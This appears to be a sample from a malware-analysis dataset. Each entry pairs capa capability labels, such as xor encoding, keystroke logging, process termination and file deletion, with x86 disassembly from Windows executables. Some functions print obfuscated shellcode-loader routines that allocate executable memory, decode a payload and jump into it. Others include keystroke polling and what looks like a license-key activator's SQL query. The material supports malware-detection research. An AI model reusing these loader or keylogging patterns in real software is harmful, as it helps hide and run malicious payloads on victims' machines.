joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422a70
Capabilities:
Hash data using sha256

Disassembly:
xor eax, eax
mov dword [ecx], 0x6a09e667
mov dword [ecx + 4], 0xbb67ae85
mov dword [ecx + 8], 0x3c6ef372
mov dword [ecx + 0xc], 0xa54ff53a
mov dword [ecx + 0x10], 0x510e527f
mov dword [ecx + 0x14], 0x9b05688c
mov dword [ecx + 0x18], 0x1f83d9ab
mov dword [ecx + 0x1c], 0x5be0cd19
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], eax
ret

Function at 0x422f70
Capabilities:
Hash data using sha256

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov edi, dword [esi + 0x20]
and edi, 0x3f
mov byte [edi + esi + 0x28], 0x80
inc edi
xor ebx, ebx
mov ebp, edx
cmp edi, 0x38
je 0x422fa5
jmp 0x422f90
and edi, 0x3f
jne 0x422f9b
push esi
call fcn.00422ab0
mov byte [esi + edi + 0x28], bl
inc edi
cmp edi, 0x38
jne 0x422f90
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
shld ecx, eax, 3
add eax, eax
add eax, eax
add eax, eax
bswap ecx
bswap eax
push esi
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], eax
call fcn.00422ab0
xor eax, eax
mov ecx, dword [esi + eax*4 + 4]
mov edx, dword [esi + eax*4]
bswap edx
bswap ecx
mov dword [ebp], edx
mov dword [ebp + 4], ecx
add eax, 2
add ebp, 8
cmp eax, 8
jb 0x422fc7
pop edi
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
mov dword [esi], 0x6a09e667
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
pop ebp
pop ebx
ret

Function at 0x423070
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x423098
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4230a7
mov eax, 1
ret 4
Function at 0x1003c8d0
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x44
mov eax, dword [0x100b4368]
push esi
push 0x20
mov dword [esp + 0x48], eax
lea eax, [esp + 0x28]
push eax
push 0xe
push 0x400
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
fld dword [esp + 0x54]
fmul dword [0x100a994c]
mov esi, dword [esp + 0x4c]
push 0xffffffffffffffff
push esi
call fcn.10040980
push eax
call fcn.10083930
mov eax, esi
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1003c915
sub eax, edx
cmp eax, 2
jge 0x1003c959
push 0x100a9948
lea ecx, [esp + 8]
push 0xffffffffffffffff
push ecx
call fcn.100839e0
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x14]
push 0xffffffffffffffff
push eax
call fcn.10083990
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push esi
call fcn.10084540
add esp, 0x28
jmp 0x1003c96b
lea edx, [esp + 0x24]
push edx
push 0
dec eax
push eax
push esi
call fcn.10084540
add esp, 0x10
mov eax, esi
lea edx, [eax + 1]
pop esi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1003c971
mov ecx, dword [esp + 0x40]
sub eax, edx
call fcn.1009d15f
add esp, 0x44
ret

Function at 0x10040780
Capabilities:
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x100407c9
xor ecx, ecx
test esi, esi
mov byte [esp + 7], 0x11
jle 0x100407c9
mov edx, dword [esp + 0xc]
lea esp, [esp]
mov al, byte [ecx + edx]
mov byte [esp + 0x10], al
mov ah, byte [esp + 7]
mov al, byte [esp + 0x10]
xor al, ah
push ax
pop ax
mov byte [esp + 0x10], al
mov al, byte [esp + 0x10]
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
mov byte [esp + 7], al
jl 0x100407a0
pop esi
pop ecx
ret

Function at 0x10040980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1004098f
pop dword [ebp - 0x44]
mov eax, 0x9f3f7c2
sub eax, 0xf9efee33
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3ebc8
push 0
mov eax, 0x109c5d32
add eax, 0xff6e03ea
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xdf746abc
add ecx, 0x208be690
xor esi, esi
add esi, eax
mov edx, 0x798585f3
sub edx, 0x697755f3
add edx, dword [ebp - 0x44]
mov ebx, 0x94cffe14
add ebx, 0x95b5eebd
add dword [ebp - 0x2c], 0xa717c568
mov edi, dword [edx]
add dword [ebp - 8], 0x885e1bb0
add edi, ebx
mov dword [esi], edi
xor dword [ebp - 0xc], edx
add esi, 0x1cf3de90
sub esi, 0x1cf3de8c
add edx, 4
loop 0x100409f0
add eax, 0x13803
xor ebx, ebx
add ebx, eax
add eax, 0xb610341b
sub eax, 0xb6103416
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x100a00e2
Capabilities:
Terminate process

Disassembly:
push 8
push 0x100ab450
call fcn.1009e76c
push 8
call fcn.10040980
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x100b9844], esi
jne 0x100a0116
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov dword [0x100b9840], esi
mov al, byte [ebp + 0x10]
mov byte [0x100b983c], al
cmp dword [ebp + 0xc], edi
jne 0x100a0160
cmp dword [0x100bc288], edi
je 0x100a0150
mov eax, dword [0x100bc284]
sub eax, 4
mov dword [0x100bc284], eax
cmp eax, dword [0x100bc288]
jb 0x100a0150
mov eax, dword [eax]
cmp eax, edi
je 0x100a0131
call eax
jmp 0x100a0131
push 0x100ad028
mov eax, 0x100ad020
call fcn.100a0060
pop ecx
push 0x100ad030
mov eax, 0x100ad02c
call fcn.100a0060
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x100a0191
cmp dword [ebp + 0x10], edi
jne 0x100a019f
mov dword [0x100b9844], esi
push dword [ebp + 8]
call fcn.100a001e
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x100a019e
push 8
call fcn.10040980
pop ecx
ret
call fcn.1009e7a7
ret

Function at 0x100a0bb2
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x100b4368]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x100b49f0]
je 0x100a0be7
inc eax
cmp eax, 0x13
jb 0x100a0bd8
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x100b49f0]
jne 0x100a0d0d
mov eax, dword [0x100b9784]
cmp eax, 1
je 0x100a0ce5
cmp eax, edx
jne 0x100a0c17
cmp dword [0x100b9788], 1
je 0x100a0ce5
cmp ecx, 0xfc
je 0x100a0d0d
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100a0c4d
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.100a0e60
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.100a1090
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x100a0c81
mov eax, edi
push eax
call fcn.100a1090
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x100a73f8
push edi
call fcn.100a0f60
add esp, 0x10
push edi
call fcn.100a1090
push dword [esi + 0x100b49f4]
mov ebx, eax
call fcn.100a1090
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.1009daf0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.100a0e60
push edi
push ebx
call fcn.100a0e70
push 0x100aafc0
push ebx
call fcn.100a0e70
push dword [esi + 0x100b49f4]
push ebx
call fcn.100a0e70
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.10040980
add esp, 0x2c
jmp 0x100a0d0d
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x100b49f4]
push dword [esi]
call fcn.100a1090
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.1009d15f
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x100a3693
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x100b4368]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x100a36c4
xor eax, eax
jmp 0x100a384d
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x100bc180]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x100a3700
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.10040980
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x100a37db
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x100a3819
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x100a3764
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x100a3755
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x100a3735
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x100a37a4
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x100a37ad
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x100a3726
jmp 0x100a37af
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x100a3848
cmp dword [ebp - 0x6c], edi
je 0x100a3819
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x100a380e
call fcn.1009f770
mov dword [eax], 9
call fcn.1009f779
mov dword [eax], esi
jmp 0x100a3843
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x100a3803
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x100a37af
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x100a37af
push dword [ebp - 0x6c]
call fcn.1009f782
pop ecx
jmp 0x100a3843
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x100a3831
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x100a3831
xor eax, eax
jmp 0x100a384b
call fcn.1009f770
mov dword [eax], 0x1c
call fcn.1009f779
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x100a384b
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.1009d15f
add ebp, 0x3a0
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401c66
pop dword [ebp - 0x2c]
mov eax, 0x401c66
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x9fea438f
sub dword [ebp - 0x3c], 0x5197fe44
mov dword [ebp - 0x38], 0x43376db7
add dword [ebp - 0x38], 0xeefbde8e
mov dword [ebp - 0x34], 0x721b6104
add dword [ebp - 0x34], 0xda30e32a
mov dword [ebp - 0x30], 0xaf2bee3
sub dword [ebp - 0x30], 0xaf2bee3
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x966b2506
sub eax, 0x962af4b2
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x7437d700
sub dword [ebp - 0x3c], 0xffc56daa
mov dword [ebp - 0x38], 0xd38cac78
sub dword [ebp - 0x38], 0x92204b03
mov dword [ebp - 0x34], 0x8aef41cb
add dword [ebp - 0x34], 0xd8802aa1
mov dword [ebp - 0x30], 0xbd305cc4
add dword [ebp - 0x30], 0x42cfa33c
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x3c5858a6
add eax, 0xc3e7d786
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a086
push 0
call eax
mov ecx, 0x596ae495
sub ecx, 0x596a8e60
xor esi, esi
add esi, eax
mov edi, 0xff1b794
sub edi, 0xfb14794
add edi, dword [ebp - 0x2c]
mov edx, 0x15a90137
sub edx, 0x303779d3
add dword [ebp - 0x14], ebx
mov ebx, dword [edi]
xor dword [ebp - 4], esi
sub ebx, edx
add dword [ebp - 0x10], 0x28fb3cd5
mov dword [esi], ebx
sub dword [ebp - 0x1c], 0x28e54441
add esi, 0x92d80a9e
sub esi, 0x92d80a9a
add edi, 0xc1fb8796
add edi, 0x3e04786e
loop 0x401d85
add eax, 0x7286ce23
add eax, 0x8d7a7d84
mov ebx, eax
add eax, 5
mov ecx, 0xbfdadb0c
sub ecx, 0xbf9adb0c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40f2fb
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0048d6d0
mov dword [esp], 0xc8
mov dword [esp + 4], 0x96
call fcn.0046e9fd
mov ebp, 0x8f18cc
push ebp
push 0x23
call fcn.00485e6b
mov ebp, 0x8f240a
push ebp
push 0x24
call fcn.00485e6b
mov ebp, 0x8f2f08
push ebp
push 0x25
call fcn.00485e6b
push 0x23
call fcn.0040ff7a
push 0x24
call fcn.0040ff7a
push 0x25
call fcn.0040ff7a
push 0
call fcn.0047ab13
mov ebx, eax
push 0
call fcn.0047afac
mov edi, eax
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
add ebx, edi
mov edi, dword [esp]
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
sub ebx, edi
mov dword [esp + 8], ebx
push 0
call fcn.0047aa84
mov ebx, eax
push 0
call fcn.0047b029
mov edi, eax
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
add ebx, edi
mov edi, dword [esp + 4]
mov eax, edi
mov ecx, 2
cdq
idiv ecx
mov edi, eax
sub ebx, edi
mov dword [esp + 0xc], ebx
push reloc.WS2_32.dll_connect
push dword [0x8f9ad4]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push 0x1e
call fcn.0047ab21
push dword [esp + 4]
push dword [esp + 4]
push 0
push 0
push 0xffffffff
call fcn.00472d81
mov dword [esp + 0x10], eax
push 0x4d
push 0x4d
push 0x4d
call fcn.004858ff
push eax
push 2
push dword [esp + 0x18]
call fcn.00472056
push 0x25
call fcn.00485e82
push eax
push 0x1a
push 0xaa
push 0xf
push 0xf
push 0x21
call fcn.00478fdf
push 0x23
call fcn.00485e82
push eax
push 0x1a
push 0xaa
push 0x2d
push 0xf
push 0x1f
call fcn.00478fdf
push 0x24
call fcn.00485e82
push eax
push 0x1a
push 0xaa
push 0x4b
push 0xf
push 0x20
call fcn.00478fdf
push dword [0x8f9c58]
push 0x14
push 0xaa
push 0x78
push 0xf
push 0x22
call fcn.00477288
call fcn.0041a887
push 0x258
call fcn.0047a289
call fcn.0047aa1b
mov dword [esp + 0x24], eax
cmp dword [esp + 0x24], 0
je 0x40f59f
call fcn.0047bfac
push eax
mov ebx, 0x1e
cmp ebx, dword [esp]
jne 0x40f59c
push dword [esp + 0x28]
mov ebx, 0x332c
cmp ebx, dword [esp]
jne 0x40f59b
call fcn.0047bf9d
push eax
mov ebx, 0x21
cmp ebx, dword [esp]
jne 0x40f550
mov eax, str.https:__msfree.su_donaties_donations.html
push eax
call fcn.0044d62c
add esp, 0xc
jmp 0x40f5f6
mov ebx, 0x1f
cmp ebx, dword [esp]
jne 0x40f56f
mov eax, str.https:__msfree.su_donaties_donations.html
push eax
call fcn.0044d62c
add esp, 0xc
jmp 0x40f5f6
mov ebx, 0x20
cmp ebx, dword [esp]
jne 0x40f58b
mov eax, str.https:__msfree.su_donaties_donations.html
push eax
call fcn.0044d62c
add esp, 0xc
jmp 0x40f5f6
mov ebx, 0x22
cmp ebx, dword [esp]
jne 0x40f59a
add esp, 0xc
jmp 0x40f5f6
pop eax
pop eax
pop eax
jmp 0x40f5a9
push 0x1e
call fcn.0047af47
push 0x1b
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x40f5cd
call fcn.0047af05
mov ebx, eax
cmp ebx, 0x1e
jne 0x40f5cd
call fcn.0041a887
jmp 0x40f5f6
push 0xd
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x40f5f1
call fcn.0047af05
mov ebx, eax
cmp ebx, 0x1e
jne 0x40f5f1
call fcn.0041a887
jmp 0x40f5f6
jmp 0x40f4f9
push 0x1e
call fcn.0047a515
xor eax, eax
add esp, 0x14
pop edi
pop ebx
pop ebp
ret 4
Function at 0x415e81
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
push eax
push eax
call fcn.0048d6d0
push 1
call fcn.0040e3ec
mov dword [esp], 0
push 0x10
call sub.USER32.dll_GetKeyState
mov ebx, eax
cmp ebx, 1
jle 0x415ec6
call fcn.0047af05
mov ebx, eax
and ebx, ebx
jne 0x415ec6
call fcn.0041a887
mov dword [esp], 1
mov edx, 0x5cf064
lea ecx, [esp + 4]
call fcn.0042e008
lea ebp, [0x8f9dd4]
mov ebx, dword [ebp + 4]
cmp ebx, 4
jne 0x415f0b
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 0x4c
call fcn.00473529
lea eax, [esp + 8]
push eax
call fcn.0048d5d0
jmp 0x41607c
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 0x42
call fcn.00473529
call fcn.0048d660
mov edx, dword [0x8f9bbc]
pop ecx
push ecx
call fcn.0042e600
mov ecx, eax
call fcn.0042e590
je 0x416057
mov dword [esp + 8], 0
jmp 0x415f4e
push 0x4d
call fcn.00478744
cmp eax, dword [esp + 8]
jl 0x416055
push dword [esp + 8]
push 0x4d
call fcn.00473779
mov ebx, eax
and ebx, 1
and ebx, ebx
je 0x41604b
mov ebx, dword [esp]
and ebx, ebx
jle 0x416000
mov edx, dword [esp + 4]
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d570
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 0
push dword [esp + 0x18]
push 0x4d
call fcn.00478771
pop eax
mov edx, 0x5cf7bc
push edx
call fcn.0048d570
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 1
push dword [esp + 0x18]
push 0x4d
call fcn.00478771
pop eax
mov edx, 0x5dbb02
push edx
call fcn.0048d570
lea eax, [esp + 8]
push eax
call fcn.0048d5d0
jmp 0x41604b
mov edx, dword [esp + 4]
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d570
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 0
push dword [esp + 0x18]
push 0x4d
call fcn.00478771
pop eax
mov edx, 0x5dbb02
push edx
call fcn.0048d570
lea eax, [esp + 8]
push eax
call fcn.0048d5d0
inc dword [esp + 8]
jno 0x415f4e
jmp 0x416072
push edx
call fcn.0048d530
pop edx
push eax
push dword [esp + 4]
call fcn.004094a0
lea eax, [esp + 8]
push eax
call fcn.0048d5d0
push 0x4d
call fcn.004735b4
mov ebx, dword [esp + 0x18]
and ebx, ebx
jne 0x41608f
push dword [esp + 4]
call fcn.0047f206
jmp 0x416098
push dword [esp + 4]
call fcn.004714c1
push 0
call fcn.0040e3ec
xor eax, eax
push dword [esp + 4]
call fcn.0048d760
add esp, 0xc
pop ebx
pop ebp
ret 4
Function at 0x41b674
Capabilities:
Parse pe header

Disassembly:
push ebp
push ebx
push edi
call fcn.0048d6d0
lea ebp, [0x8f9dd4]
mov dword [ebp + 4], 5
push 0x12
call fcn.00485e82
push eax
push 0x18
call fcn.004733ab
push 1
push 0x4d
call fcn.00471d63
push 0
push 0x4f
call fcn.00471d63
push 1
push 0x14
call fcn.00471d63
push 1
push 0x4e
call fcn.00471d63
push 1
push 0x42
call fcn.00471d63
push 0
push 0x49
call fcn.00471d63
push 0
push 0x48
call fcn.00471d63
push 0
push 0x68
call fcn.00471d63
push 0
push 0x5b
call fcn.00471d63
push 0
push 0x47
call fcn.00471d63
push 0
push 0x45
call fcn.00471d63
push 0
push 0x4b
call fcn.00471d63
push 1
push 0x4c
call fcn.00471d63
push 0
push 0x50
call fcn.00471d63
push 0
push 0x52
call fcn.00471d63
push 0
push 0x54
call fcn.00471d63
push 0
push 0x56
call fcn.00471d63
push 0
push 0x66
call fcn.00471d63
push 0
push 0x53
call fcn.00471d63
push 0
push 0x55
call fcn.00471d63
push 0
push 0x57
call fcn.00471d63
push 0
push 0x5d
call fcn.00471d63
push 0
push 0x67
call fcn.00471d63
push 0
push 0x5c
call fcn.00471d63
push 0
push 0x59
call fcn.00471d63
push 0
push 0x6a
call fcn.00471d63
push 0
push 0x69
call fcn.00471d63
push 0
push 0x58
call fcn.00471d63
push 0
push 0x5e
call fcn.00471d63
push 0
push 0x5f
call fcn.00471d63
push 0
push 0x60
call fcn.00471d63
push 0
push 0x61
call fcn.00471d63
call fcn.0047a2f1
mov ebx, eax
cmp ebx, 0x6e
jl 0x41b8a8
push 0
push 0x62
call fcn.00471d63
push 0
push 0x63
call fcn.00471d63
push 0
push 0x5a
call fcn.00471d63
push 0x64
call fcn.0047a289
push 0
push 0x51
call fcn.00471d63
push 0
push 0x64
call fcn.00471d63
push 0
push 0x65
call fcn.00471d63
push 0
push 0x6b
call fcn.00471d63
push 0
push 0x6c
call fcn.00471d63
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
call fcn.0044d027
call fcn.0042e5e2
add dword [esp], edx
call fcn.0047db27
mov edx, 0x5d69dc
push edx
call fcn.0048d570
call fcn.0042e5e2
add dword [esp], edx
call fcn.0047dba6
call fcn.0042e610
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x41b971
cmp edi, 0xffffffff
je 0x41b975
xor eax, eax
jmp 0x41b97a
mov eax, 1
or eax, eax
je 0x41b98d
push 0
push 0x6d
call fcn.00471d63
push 0x64
call fcn.0047a289
push 0x11
call fcn.00485e82
push eax
push 0x18
call fcn.004733ab
mov eax, 0x5d71d0
push eax
push 0x5f
call fcn.004734ac
xor eax, eax
pop edi
pop ebx
pop ebp
ret
Function at 0x41ceb4
Capabilities:
Reference sql statements

Disassembly:
push ebx
call fcn.0048d6d0
mov ebx, dword [0x8f9b00]
and ebx, ebx
je 0x41d00c
push 0x6e
call fcn.00473591
mov eax, str.SELECT_key__Description__Lic__Blocked__ActivCount__ActivVal__Channel_FROM_keys_WHERE_key_ORDER_BY_Description_ASC
push eax
push dword [0x8f9b00]
call fcn.0047f11d
mov ebx, eax
and ebx, ebx
je 0x41cffc
push dword [0x8f9b00]
call fcn.0047f12f
and eax, eax
je 0x41cff1
push edx
call fcn.0048d530
pop edx
push eax
mov eax, str.Win_XP
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 1
push dword [0x8f9b00]
call fcn.0047f157
call fcn.0042e5e2
add dword [esp], edx
call fcn.0048ad20
call fcn.0042e610
mov ebx, eax
cmp ebx, 1
je 0x41cf90
push edx
call fcn.0048d530
pop edx
push eax
mov eax, str.Server_2003
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 1
push dword [0x8f9b00]
call fcn.0047f157
call fcn.0042e5e2
add dword [esp], edx
call fcn.0048ad20
call fcn.0042e610
mov ebx, eax
cmp ebx, 1
je 0x41cf90
jmp 0x41cf97
mov eax, 1
jmp 0x41cf99
xor eax, eax
and eax, eax
je 0x41cfe7
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push edx
call fcn.0048d530
pop edx
push eax
push 1
push dword [0x8f9b00]
call fcn.0047f157
call fcn.0048d660
push 0xffffffff
push 0x6e
call fcn.0042e5e2
add dword [esp + 8], edx
call fcn.004737e6
call fcn.0042e610
call fcn.0041a887
jmp 0x41ceed
push dword [0x8f9b00]
call fcn.0047f184
push dword [0x8f9d1c]
push 0x6e
call fcn.004733ab
xor eax, eax
pop ebx
ret